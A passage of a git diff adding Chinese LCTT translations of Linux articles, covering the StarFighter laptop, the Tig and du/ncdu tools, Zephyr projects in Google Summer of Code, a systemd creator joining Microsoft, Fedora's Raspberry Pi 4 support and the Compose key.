+ +该公司提到,该显示屏的成本要高于其 StarLite 笔记本电脑。 + +但是,这会是一个有吸引力的产品吗?许多采用高分辨率显示屏或 OLED 面板的笔记本电脑在电池时长方面表现不佳。不仅仅是 Linux 笔记本电脑。 + +那么,“星际战机”会成为该领域的一个有竞争力的竞争者吗? + +星空实验室在一条推文中提到,他们估计电池时长约为 8-14 小时,这取决于配置。当然,这也取决于你的使用情况。 + +该公司还澄清说,这款笔记本电脑可以使用 Coreboot,但它不会是一个完全采用自由软件的项目。其他一些值得注意的地方还有: + +* 该笔记本电脑将具有 [LVFS][5] 支持。 +* 英特尔型号将提供第 4 代固态硬盘。AMD 型号将只限于第 3 代固态硬盘。 + +如图片所示,它可能安装了 elementaryOS 6.1。然而,你也可以预期它提供 Ubuntu 22.04 LTS。 + +那么,你对星空实验室的这架“星际战机”有何看法?当它上市时,这将是你的下一台笔记本电脑吗? + +在下面的评论区分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/starfighter-laptop-reveal/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/starfighter-linux-powered-laptop.jpg +[2]: https://news.itsfoss.com/infinitybook-pro-14-3k/ +[3]: http://starlabs.systems +[4]: https://twitter.com/starlabsltd/status/1542908391793692672 +[5]: https://fwupd.org/ diff --git a/published/202207/20220705 Why I love Tig for visualizing my Git workflows.md b/published/202207/20220705 Why I love Tig for visualizing my Git workflows.md new file mode 100644 index 0000000000..d6d8b25fe3 --- /dev/null +++ b/published/202207/20220705 Why I love Tig for visualizing my Git workflows.md @@ -0,0 +1,96 @@ +[#]: subject: "Why I love Tig for visualizing my Git workflows" +[#]: via: "https://opensource.com/article/22/7/visualize-git-workflow-tig" +[#]: author: "Sumantro Mukherjee https://opensource.com/users/sumantro" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14809-1.html" + +使用 Tig 来可视化 Git 工作流 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/09/123419u39t3jz9gzc6345t.jpg) + +> Tig 是审查 Git 仓库的绝佳工具,它鼓励你探索日志,而无需构建冗长且有时复杂的查询。 + +如果你发现浏览你的 Git 仓库非常复杂,我已经为你准备好了工具,来了解一下 Tig。 + +Tig 是一个 [基于 ncurses][2] 的 Git 文本模式界面,它允许你浏览 Git 仓库中的更改。它还可以充当各种 Git 命令输出的分页器。使用这个工具可以让我很好地了解在哪个提交中发生了哪些更改,最新的提交合并是什么等等。请跟随这个简短的教程,亲自尝试一下。 + +### 安装 Tig + +在 Linux 上,你可以使用包管理器安装 Tig。例如,在 Fedora 和 Mageia 上: + +``` +$ sudo dnf install tig +``` + +在 Debian、Linux Mint、Elementary、Pop_OS 和其他基于 Debian 的发行版上: + +``` +$ sud apt install tig +``` + +在 macOS 上,使用 [MacPorts][3] 或 [Homebrew][4]。 Tig 的完整安装指南可在 [Tig 手册][5] 中找到。 + +### 使用 Tig + +Tig 提供了常见 Git 输出的交互式视图。例如,使用 Git,你可以使用命令 `git show-ref` 查看所有引用: + +``` +$ git show-ref +98b108... refs/heads/master +6dae95... refs/remotes/origin/1010-internal-share-partition-format-reflexion +84e1f8... refs/remotes/origin/1015-add-libretro-openlara +e62c7c... refs/remotes/origin/1016-add-support-for-retroarch-project-cd +1c29a8... refs/remotes/origin/1066-add-libretro-mess +ffd3f53... refs/remotes/origin/1155-automatically-generate-assets-for-external-installers +ab4d14... refs/remotes/origin/1160-release-on-bare-metal-servers +28baa9... refs/remotes/origin/1180-ipega-pg-9118 +8dff1d... refs/remotes/origin/1181-add-libretro-dosbox-core-s +81a7fe... refs/remotes/origin/1189-allow-manual-build-on-master +[...] +``` + +使用 Tig,你可以在可滚动列表中获取该信息以及更多信息,此外还可以使用键盘快捷键来打开其他视图,其中包含每个引用的详细信息。 + +![][6] + +### 分页模式 + +当输入来自标准输入时,Tig 进入分页模式。当指定 `show` 子命令并给出 `--stdin` 选项时,标准输入被假定为提交 ID 列表,它被转发到 `git-show` : + +``` +$ git rev-list --author=sumantrom HEAD | tig show –stdin +``` + +### 日志和差异视图 + +当你在 Tig 的日志视图中时,你可以按键盘上的 `d` 键来显示差异。这将显示提交中更改的文件以及删除和添加的行。 + +### 交互式 Git 数据 + +Tig 是对 Git 的一个很好的补充。它鼓励你探索日志,而无需构建冗长且有时复杂的查询,从而可以轻松查看你的 Git 仓库。 + +立即将 Tig 添加到你的 Git 工具包中! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/visualize-git-workflow-tig + +作者:[Sumantro Mukherjee][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sumantro +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/images/life/computer_code_programming_laptop_0.jpg +[2]: https://opensource.com/article/21/8/ncurses-linux +[3]: https://opensource.com/article/20/11/macports +[4]: https://opensource.com/article/20/6/homebrew-mac +[5]: https://jonas.github.io/tig/doc/manual.html +[6]: https://opensource.com/sites/default/files/2022-06/tig%201.png diff --git a/published/202207/20220707 Check disk usage in Linux.md b/published/202207/20220707 Check disk usage in Linux.md new file mode 100644 index 0000000000..c4448c158c --- /dev/null +++ b/published/202207/20220707 Check disk usage in Linux.md @@ -0,0 +1,140 @@ +[#]: subject: "Check disk usage in Linux" +[#]: via: "https://opensource.com/article/22/7/check-disk-usage-linux" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14823-1.html" + +检查 Linux 磁盘使用情况 +====== + +> du 和 ncdu 两个命令提供了相同信息的两种不同视图,便于我们跟踪存储在计算机上的内容。 + +![](https://img.linux.net.cn/data/attachment/album/202207/13/111729faleyal2gmappykc.jpg) + +无论你有多少存储空间,了解文件占用了多少磁盘空间都是一个重要的考虑事项。我的笔记本有一个相对较小的 250GB NVME 驱动器,大多数时候都没什么问题,但几年前我开始探索 Linux 上的游戏,情况变得有所不同,安装 Steam 和其他游戏使存储管理更加重要。 + +### du 命令 + +检查磁盘驱动器上剩余存储空间最简单的方法是 [du 命令][2]。它会估计文件空间使用情况,像其他所有 Linux 工具一样,`du` 非常强大,但学会如何根据你的特定需求使用它会很有帮助。我总是查阅手册页来掌握实用程序的用法。`du` 有几个选项,可以为你提供文件存储的最佳快照,以及它们在系统上消耗多少空间。 + +`du` 命令有很多选项,以下是一些常见的: + +* `-a` - 包括文件夹和文件在内的存储信息 +* `--apparent-size` - 打印自身大小而不是占用磁盘量 +* `-h` - 人类可读的格式 +* `-b` - 以字节为单位 +* `-c` - 总计 +* `-k` - 以块为单位 +* `-m` - 以兆字节为单位的大小 + +务必查看 `du` 手册页获取完整帮助列表。 + +#### 显示所有文件 + +你可以选择的第一个选项是 `du -a`,它可以显示系统上所有文件及其存储目录的大小。这个命令让我知道了我的主目录中存储了 11555168 个字节。使用 `du -a` 可以快速递归地查看我的存储系统。如果我想要一个更有意义的数字,并且我想深入到目录中查看大文件的位置,该怎么办? + +我认为在 `Downloads` 目录下有一些大文件,所以我输入 `du -a /home/don/Downloads` 来查看。 + +``` +$ du -a ~/Downloads +4923    ./UNIX_Driver_5-0/UNIX Driver 50 +4923    ./UNIX_Driver_5-0 +20     ./epel-release-latest-9.noarch.rpm +12     ./rpmfusion-free-release-9.noarch.rpm +2256    ./PZO9297 000 Cover.pdf +8     ./pc.md +2644    ./geckodriver-v0.31.0-linux64.tar.gz +466468 +``` + +最左边的数字是以字节为单位的文件大小。我想要一些对我更有帮助的东西,所以我将人类可读格式的选项添加到命令中,结果是 456M(兆字节),这对我来说是一种更有用的数字格式。 + +``` +$ du -ah ~/Downloads +4.9M    ./UNIX_Driver_5-0/UNIX Driver 50 +4.9M    ./UNIX_Driver_5-0 +20K    ./epel-release-latest-9.noarch.rpm +12K    ./rpmfusion-free-release-9.noarch.rpm +2.2M    ./PZO9297 000 Cover.pdf +8.0K    ./pc.md +2.6M    ./geckodriver-v0.31.0-linux64.tar.gz +456M    . +``` + +与大多数 Linux 命令一样,你可以组合选项,要以人类可读的格式查看 `Downloads` 目录,使用 `du -ah ~/Downloads` 命令。 + +#### 总和 + +`-c` 选项在最后一行提供了磁盘使用总和。我可以使用 `du -ch /home/don` 来显示主目录中的每个文件和目录。这里有很多信息,我只想知道最后一行的信息,所以我将 `du` 命令通过管道传输给 `tail` 来显示最后几行。命令是 `du -ch /home/don | tail`。(LCTT 校注:可以使用 `tail -1` 来仅显示最后一行汇总行。) + +![将 du 命令输出通过管道传输到 tail][4] + +### ncdu 命令 + +对存储在驱动器上内容感兴趣的 Linux 用户,另一个选择是 [ncdu 命令][5],它代表 “NCurses 磁盘使用情况”。基于你的 Linux 发行版,你可能需要下载并安装它。 + +在 Linux Mint、Elementary、Pop_OS! 或其它基于 Debian 的发行版上: + +``` +$ sudo apt install ncdu +``` + +在 Fedora、Mageia 或 CentOS 上: + +``` +$ sudo dnf install ncdu +``` + +在 Arch、Manjar 或者类似发行版上: + +``` +$ sudo pacman -S ncdu +``` + +安装后,你可以使用 `ncdu` 来分析你的文件系统。以下是在我的主目录中发出 `ncdu` 后的示例输出。`ncdu` 的手册页指出 “ncdu(NCurses Disk Usage)是众所周知的 `du` 基于 curses 的版本,它提供了一种快速查看哪些目录正在使用磁盘空间的方法。” + +![du 命令输出][6] + +我可以使用方向键上下导航,按下回车键进入目录。有趣的是,`du` 报告我的主目录中的总磁盘使用量为 12GB,而 `ncdu` 显示为 11GB。你可以在 `ncdu` 手册页中找到更多信息。 + +你可以将 `ncdu` 指向某个目录来探索特定目录。例如,`ncdu /home/don/Downloads`。 + +![ncdu 命令输出][7] + +按 `?` 键显示帮助菜单。 + +![ncdu 帮助][8] + +### 总结 + +`du` 和 `ncdu` 两个命令提供了相同信息的两种不同视图,便于我们跟踪存储在计算机上的内容。 + +如果你不习惯使用终端,或者想寻找此类信息的另一种查看方式,可以看看 [GNOME 磁盘使用分析器][9]。如果你的系统上还没有它,你可以轻松安装和使用它。检查你的发行版是否有 baobab 开发的这个软件,如果你想试试,那就去安装它吧。 + +(文内图片来自于 Don Watkins, CC BY-SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/check-disk-usage-linux + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/data_stack_blue_disks.png +[2]: https://opensource.com/article/21/7/check-disk-space-linux-du +[3]: https://opensource.com/article/18/7/how-check-free-disk-space-linux +[4]: https://opensource.com/sites/default/files/2022-06/1-du-tail.png +[5]: https://opensource.com/article/21/8/ncdu-check-free-disk-space-linux +[6]: https://opensource.com/sites/default/files/2022-06/2home.png +[7]: https://opensource.com/sites/default/files/2022-06/3downloads.png +[8]: https://opensource.com/sites/default/files/2022-06/4ncdu.png +[9]: https://help.gnome.org/users/baobab/stable/ diff --git a/published/202207/20220707 Google Summer of Code + Zephyr RTOS.md b/published/202207/20220707 Google Summer of Code + Zephyr RTOS.md new file mode 100644 index 0000000000..2484e74048 --- /dev/null +++ b/published/202207/20220707 Google Summer of Code + Zephyr RTOS.md @@ -0,0 +1,140 @@ +[#]: subject: "Google Summer of Code + Zephyr RTOS" +[#]: via: "https://www.linux.com/news/google-summer-of-code-zephyr-rtos/" +[#]: author: "The Linux Foundation https://www.linuxfoundation.org/blog/google-summer-of-code-zephyr-rtos/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14818-1.html" + +谷歌编程之夏与 Zephyr RTOS 项目介绍 +====== + +**谷歌编程之夏**(GSoC)是一个谷歌举办的国际年度项目,每年都在夏季举办。当贡献者们参与并完成一个 [自由开源软件][3] 的编码项目,[谷歌][1] 就会给他们发放 [津贴][2]。谷歌编程之夏于 2005 年推出,于每年 5 月至 8 月举行。项目创意由参与开源软件开发的主办组织提交,但学生也可以提出自己的项目创意。 + +今年,该项目向 18 岁或以上的任何人开放 —— 不仅限于学生和应届毕业生了。参与者通过编写软件获得报酬,其 [津贴][4] 的金额取决于他们所在国家/地区的 [购买力平价][5]。 + +**LCTT 译注:以往,这个活动只允许在校学生参与,今年条件放开,只需年龄 18+ 即可,对参与者的贡献时长要求也降低了,尽可能地让更多人参与进来。不过,今年的报名通道在 4 月 19 日就截止了,大家有兴趣的话明年可以关注一下。** + +这也是 Zephyr 项目第一次作为 Linux 基金会的项目,参与到谷歌编程之夏中。让我们一起欢迎这些贡献者及其项目吧! + +### 项目一:基于 Zephyr 的 Arduino 模块 + +1 个贡献者(350 小时)。 + +[Arduino][6] 是一个流行的框架,它为嵌入式设备编程提供了一个简化的接口。最近,Arduino 采用 mbed OS 作为其一些新设备的基础 RTOS。通过这项工作,他们将 [Arduino Core][7] 作为独立的抽象层,从 [Arduino Core for mbed][8] 中分离出来。这为在其他操作系统上利用 Arduino Core 开辟了可能性。 + +该项目的想法就是创建一个利用 Arduino Core 的 Zephyr 模块,以便开发人员在与 Arduino 兼容的设备上使用 Arduino 框架时,可以使用 Zephyr 作为底层操作系统。对用户的好处包括: + +* 可以访问 Arduino API 以及高级 Zephyr 功能 +* 得益于 Zephyrs 的设备支持,用户可以选择标准 Arduino 生态系统更广泛的设备 +* 能够重复使用 Arduino 工具,如 Arduino IDE 和丰富的库 + +Arduino Core 使用 LGPL 许可证,Zephyr 使用 Apache 2 许可证。这意味着该项目的开发很可能需要脱离主分支,并在单独的仓库中进行,以保持代码和许可证分离。有关这方面的历史讨论,请参阅 [#22247][9],有关 Arduino 核心架构之前的早期尝试,请参阅 [soburi/arduino-on-zephyr][10]。 + +**贡献者的任务是:** + +* 实现一个基于 Arduino Core 的准系统模块,可以为任何目标编译(不具备功能性,可能在 QEMU 中) +* 基于 Zephyr,使用 Arduino API 实现一个通用外围设备,例如 [Serial][11] +* 以一个物理板为目标,例如 Arduino Zero + +**导师:** + +[Jonathan Beri][12] – Golioth 和 Zephyr TSC 的首席执行官 +[Alvaro Viebrantz][13] – Golioth 和 Google GDE 的创始工程师 + +**代码许可证:** LGPL + +**贡献者详细信息:** + +* 姓名:Dhruva Gole +* 项目博客:[https://dhruvag2000.github.io/Blog-GSoC22/][14] +* 项目海报: + +![][15] + +**关于贡献者:** + +![][16] + +Dhruva 是一名电气工程专业的本科生。他的兴趣广泛,从嵌入式软件开发到硬件设计,在 SBC、微控制器和嵌入式 Linux 平台方面拥有丰富的工作经验。 + +### 项目二:Zephyr 的 Apache Thrift 模块 + +一个贡献者(350 小时)。 + +[Apache Thrift][17] 是一个 [IDL][18] 规范、[RPC][19] 框架和代码生成器,它抽象出传输和协议细节,让开发者专注于应用逻辑。它适用于所有主流操作系统,支持超过 27 种编程语言、7 种协议和 6 种底层传输方式。最初,它于 [2007 年在 Facebook 开发][20],随后与 Apache 软件基金会共享。 + +![][21] + +![][22] + +在 Zephyr RTOS 中支持 Thrift 将使社区受益匪浅。它将带来新的软件和硬件技术、新产品以及云集成的其他方式。 Thrift 也可以用于几乎任何传输,因此,它是 Zephyr 支持的许多不同物理通信层的自然选择。该项目的想法是使概念验证 [Thrift for Zephyr 模块][23] 形成以供上游使用。为此,贡献者必须: + +* 对 Thrift 功能(协议、传输)执行额外的集成 +* 使用 [supported board][24] 或 [Qemu][25] 编写其他示例应用程序 +* 使用 [Zephyr 测试框架][26] 编写其他测试并生成覆盖率报告 +* 确保模块遵循适当的 [编码指南][27] 并满足 [模块要求][28] +* 将任何必要的改进贡献回 Apache Thrift 项目 +* 将任何必要的改进贡献回 Zephyr 项目 + +**导师:** + +* [Christopher Friedt][29] – Meta 的 SWE / ASIC FW 和 Zephyr TSC 成员 +* [Stephanos Ioannidis][30] – Zephyr CXX 子系统维护者 + +**代码许可证:** Apache 2.0 + +**贡献者详细信息:** + +* 姓名:Young + +**关于贡献者:** Young 是一名通信工程专业的学生,他将攻读计算机工程硕士学位。他兴趣广泛,从前端开发到硬件设计,在 Web、IoT 和嵌入式平台方面拥有丰富的工作经验。2021 年他设计的一款搭载 RISC-V 64 处理器的低成本单板机被多家极客媒体报道。 + +本文 [Google Summer of Code + Zephyr RTOS][31] 首发于 [Linux 基金会][32]。 + +-------------------------------------------------------------------------------- + +via: https://www.linux.com/news/google-summer-of-code-zephyr-rtos/ + +作者:[The Linux Foundation][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxfoundation.org/blog/google-summer-of-code-zephyr-rtos/ +[b]: https://github.com/lkxed +[1]: https://en.wikipedia.org/wiki/Google +[2]: https://en.wikipedia.org/wiki/Stipend +[3]: https://en.wikipedia.org/wiki/Free_and_open-source_software +[4]: https://en.wikipedia.org/wiki/Stipend +[5]: https://en.wikipedia.org/wiki/Purchasing_power_parity +[6]: https://www.arduino.cc/ +[7]: https://github.com/arduino/ArduinoCore-API +[8]: https://github.com/arduino/ArduinoCore-mbed +[9]: https://github.com/zephyrproject-rtos/zephyr/issues/22247 +[10]: https://github.com/soburi/arduino-on-zephyr +[11]: https://www.arduino.cc/reference/en/language/functions/communication/serial/ +[12]: https://www.linkedin.com/in/jonathanberi/ +[13]: https://www.linkedin.com/in/alvaro-viebrantz-55119048/ +[14]: https://dhruvag2000.github.io/Blog-GSoC22/ +[15]: https://www.linuxfoundation.org/wp-content/uploads/project-poster.png +[16]: https://www.linuxfoundation.org/wp-content/uploads/dhruva.jpeg +[17]: https://github.com/apache/thrift +[18]: https://en.wikipedia.org/wiki/Interface_description_language +[19]: https://en.wikipedia.org/wiki/Remote_procedure_call +[20]: https://thrift.apache.org/static/files/thrift-20070401.pdf +[21]: https://www.linuxfoundation.org/wp-content/uploads/apache-thrift-layered-architecture.png +[22]: https://www.linuxfoundation.org/wp-content/uploads/SPDX-license.png +[23]: https://github.com/cfriedt/thrift-for-zephyr +[24]: https://docs.zephyrproject.org/latest/boards/index.html +[25]: https://docs.zephyrproject.org/latest/guides/networking/qemu_user_setup.html +[26]: https://docs.zephyrproject.org/latest/guides/test/ztest.html +[27]: https://docs.zephyrproject.org/latest/contribute/coding_guidelines/index.html +[28]: https://docs.zephyrproject.org/latest/guides/modules.html +[29]: https://www.linkedin.com/in/christopher-friedt/ +[30]: https://www.linkedin.com/in/stephanosio/ +[31]: https://www.linuxfoundation.org/blog/google-summer-of-code-zephyr-rtos/ +[32]: https://www.linuxfoundation.org/ diff --git a/published/202207/20220707 More Linux Developers Joining Microsoft, Systemd Creator Adds to the List.md b/published/202207/20220707 More Linux Developers Joining Microsoft, Systemd Creator Adds to the List.md new file mode 100644 index 0000000000..85c5366a8d --- /dev/null +++ b/published/202207/20220707 More Linux Developers Joining Microsoft, Systemd Creator Adds to the List.md @@ -0,0 +1,70 @@ +[#]: subject: "More Linux Developers Joining Microsoft, Systemd Creator Adds to the List" +[#]: via: "https://news.itsfoss.com/systemd-creator-microsoft/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14804-1.html" + +又有 Linux 开发者加入微软,这次是 systemd 的创建者 +====== + +> 看来微软拿了一手好牌,在 Linux 和开源方面取得行业成功。 + +![microsoft][1] + +出于某种原因,微软在开源和 Linux 方面总是受到关注。 + +而且,当我们谈论 Linux 开发者时,它也会成为焦点……为什么会这样? + +微软似乎正在为一系列的项目招聘大量 Linux 开发人员。而且,一个知名人物也加入了这个名单。 + +据 [Phoronix][2] 报道,systemd 和 PulseAudio 的创建者 **Lennart Poettering**,现在已在微软工作,继续专注于 systemd 的开发。 + +或许你不知道,Lennart 曾在红帽工作,领导 PulseAudio 项目和其他一些事情。 + +除了 Lennart 之外,Python 之父 **Guido Van Rossum** 等一些关键的开发人员之前就加入了微软。 + +(LCTT 译注:据 Phoronix 总结,还有更多的开源开发者加入了(或加入过)微软,这包括:GNOME 创建者 Miguel de Icaza 曾在 2016 年微软收购 Xamarin 时受雇,到今年早些时候离开;Nat Friedman 作为 Xamarin 的成员在微软收购后加入,后担任微软旗下的 GitHub 的 CEO;Gentoo Linux 创始人 Daniel Robbins 之前受雇于微软;Steve French 作为 Linux CIFS/SMB2/SMB3 的维护者和 Samba 团队的成员为微软工作;以及大量的上游 Linux 开发者,如 Matteo Croce、Matthew Wilcox、Tyler Hicks、Shyam Prasad N、Michael Kelley、Christian Brauner 等等也曾被微软雇佣。) + +### 微软在为最佳状态做准备 + +毫不奇怪,微软希望提高其对基于开源的项目的关注,并尽可能有效地利用 Linux 为其业务服务。 + +Azure 平台对开源的利用最多,而且,不要忘了 **Windows Subsystem for Linux**(WSL)。 + +因此,微软一直在招聘 Linux 开发人员。如果你想试试,你会在 [微软职业][3] 栏目中找到很多与 Linux 有关的职位。 + +虽然这对微软的产品线来说是一件大事,但它一般不会影响到 Linux 桌面用户。事实上,我认为,Linux 开发者得到的资源越多,由于他们工作角色转换,他们可以帮助 Linux 生态系统更好地增强其愿景。 + +当然,让所有关键的 Linux 开发者都在微软拥有的项目上工作并不是一件喜闻乐见的事情,但是,事实就是如此。 + +### 微软正在做正确的事情 + +这不仅仅是经济上的回报,Linux 开发者加入微软团队的趋势意味着他们在开源和 Linux 上的一些努力是成功的。 + +只要微软努力改善 Linux 生态系统,我认为我们就没有什么可担心的。 + +我不想被提醒“拥抱、扩展和熄灭Embrace, extend, and extinguish”(3E)。毕竟,这对所有公司来说都是生意。当涉及到赚钱的决定时,没有人应该被认为是英雄。 + +因此,我们只能希望微软在不久的将来为 Linux 开发者和用户准备好一些好东西。 + +你对此有何看法?在下面的评论区分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/systemd-creator-microsoft/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/more-linux-devs-joing-microsoft-systemd-creator-add-list.jpg +[2]: https://www.phoronix.com/scan.php?page=news_item&px=Systemd-Creator-Microsoft +[3]: https://careers.microsoft.com/us/en/search-results?keywords=Linux diff --git a/published/202207/20220707 Raspberry Pi 4 Support is Coming to Fedora Linux.md b/published/202207/20220707 Raspberry Pi 4 Support is Coming to Fedora Linux.md new file mode 100644 index 0000000000..d178afd6dd --- /dev/null +++ b/published/202207/20220707 Raspberry Pi 4 Support is Coming to Fedora Linux.md @@ -0,0 +1,66 @@ +[#]: subject: "Raspberry Pi 4 Support is Coming to Fedora Linux" +[#]: via: "https://news.itsfoss.com/fedora-raspberry-pi-4/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14808-1.html" + +Fedora Linux 37 即将正式支持树莓派 4 +====== + +> 由于上游的一些改进,Fedora Linux 37 将引入对树莓派 4 的正式支持。 + +![Fedora raspberry pi][1] + +Fedora Linux 的工作站版很适合台式机使用。不过,如果你想让它用于服务器或物联网需求,可以使用 Fedora ARM 项目。 + +它也支持树莓派,只是最新的树莓派 4 除外(其实早在 2019 年就发布了)。 + +现在,随着 [Phoronix][2] 发现的一项拟议的变化,看起来 Fedora Linux 37 可能会正式增加对树莓派 4 的支持。 + +### 目前还不是正式的... + +到现在为止,对树莓派 4 的支持只是一个拟议的变化。 + +Fedora Linux 通常会公开其拟议的变化列表,以接受社区反馈并让其他人跟踪其进展。 + +所以,Fedora Linux 37 中的正式支持只有在得到 Fedora 工程指导委员会的批准后才会实施。 + +但是,**支持树莓派 4 的阻碍是什么呢?** + +这是由于缺乏加速图形以及缺失一些功能,所以不方便增加对它的支持。 + +现在,随着新的 Linux 内核和 Mesa 的上游工作为树莓派 4 带来了图形加速功能,可以让他们启用对它的支持。 + +拟议的变化文件中提到: + +> 上游现在支持使用 V3D GPU 的 OpenGL-ES 和 Vulkan 加速图形。对有线网络也有增强,支持 CM4/4B 上的 PTPv2。 + +此外,不仅仅是引入对树莓派 4 的支持,一些拟议的变化还涉及对树莓派 3 系列和 Zero 2 W 的改进。 + +因此,如果如人们所期望的那样发生,这应该是一个有趣的变化。 + +请注意,对树莓派 400 的 Wi-Fi 的支持不是这个过程的一部分,但对音频支持的测试将是这个变化的一部分。 + +你可以在 [拟议文件][3] 中阅读所有的细节。 + +你对 Fedora Linux 37 对树莓派 4 的支持有什么看法?请在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/fedora-raspberry-pi-4/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/fedora-coming-to-raspberry-pi.jpg +[2]: https://www.phoronix.com/scan.php?page=news_item&px=Fedora-37-Raspberry-Pi-4 +[3]: https://fedoraproject.org/wiki/Changes/RaspberryPi4 diff --git a/published/202207/20220707 Use secret keyboard keys on Linux.md b/published/202207/20220707 Use secret keyboard keys on Linux.md new file mode 100644 index 0000000000..93cb065735 --- /dev/null +++ b/published/202207/20220707 Use secret keyboard keys on Linux.md @@ -0,0 +1,146 @@ +[#]: subject: "Use secret keyboard keys on Linux" +[#]: via: "https://opensource.com/article/22/7/linux-compose-key-cheat-sheet" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14882-1.html" + +在 Linux 中使用组合键输入隐藏的字形 +====== + +> 使用组合键,你不会被键盘所限制住。 + +![](https://img.linux.net.cn/data/attachment/album/202207/31/095532p72762ekberw7eb6.jpg) + +典型的键盘只有约 100 个键位。 + +由于 `Shift` 键,许多键得以有两个字符(也称之为 字形glyph)。字形常用于键入带有重音和变音符号的字母,生成数学公式或者货币中的符号,或者添加有趣的表情符号。在一些地区,有些键甚至有三个字形。 + +然而,不论你身处何处,有一些字形不会出现在你的键盘上。幸运的是,Linux 提供了使用 组合键Compose Key 来获取这些字形。 + +在你的键盘上没有组合键这个键,至少默认情况下没有,但是你可以设定一个你不用的键作为组合键。我在电脑上使用空格键旁边的 `Alt` 键,而在平板上使用菜单键,来作为组合键。 + +> **[下载 Linux 组合键速查表][2]** + +### 在 GNOME 中设置组合键 + +![A screenshot shows the keyboard and mouse options visible. The "Compose Key" option is set to Right Alt.][3] + +在 GNOME 桌面,从软件库中安装 优化Tweaks 应用。你也可以从终端安装(基于 Debian 发行版用 `apt` 命令,Fedora 用 `dnf`): + +``` +$ sudo dnf install gnome-tweaks +``` + +启动优化应用后: + +1. 单击左侧栏中的 键盘和鼠标Keyboard & Mouse类别 +2. 找到 组合键Compose key 设置并指定一个键 +3. 关闭优化应用 + +### 在 KDE Plasma 桌面设置组合键 + +![A screenshot shows the advanced options threaded under Keyboard settings. "Configure keyboard options" is checked, "Position of Compose Key" is checked within that menu, and "Right Alt" is checked within that menu.][4] + +在 KDE Plasma 桌面上,打开 系统设置System Settings,找到 输入设备Input Devices 控制界面。然后: + +1. 在 输入设备Input Devices 界面,点击 “高级Advanced” 标签 +2. 找到 组合键Compose key 列表项并指定一个键 +3. 点击右下角 “应用Apply” 按钮,然后关闭 系统设置System Settings + +### 使用组合序列 + +为了输入隐藏字符,需要按下组合键后松开。这样就可以进入组合模式。处于组合模式,你按下然后松开键,然后再按下一个键来组合字符。 + +例如: + +1. 按下组合键并释放,你会进入组合模式 +2. 按下单引号(`'`)并松开 +3. 按下 `E` 并松开,这是一个有效的组合,所以现在退出了组合模式 + +你输入了一个字符:`É`! + +一些组合序列只需要两个键的组合,然而还有一些需要三个键,并且至少有一个特殊字符要按四次键。 + +### 变音字符 + +这是一个很小众的世界,所以你的朋友的名字很有可能使用的字形不是你的键盘原生的字形。你现在可以跳过变音符号并使用适当的修饰符输入名字。 + +以下是常见变音符号的组合序列示例: + +* `' + <字母>` = `á é í ó ú ć ń ý j́́ ẃ ź` +* "\` + <字母>" = `à è ì ò ù ǹ ỳ ẁ` +* `~ + <字母>` = `ã ẽ ĩ õ ũ ñ ỹ` +* `^ + <字母>` = `â ê î ô û ĉ ŷ ĵ ŵ ẑ` +* `u + <字母>` = `ă ĕ 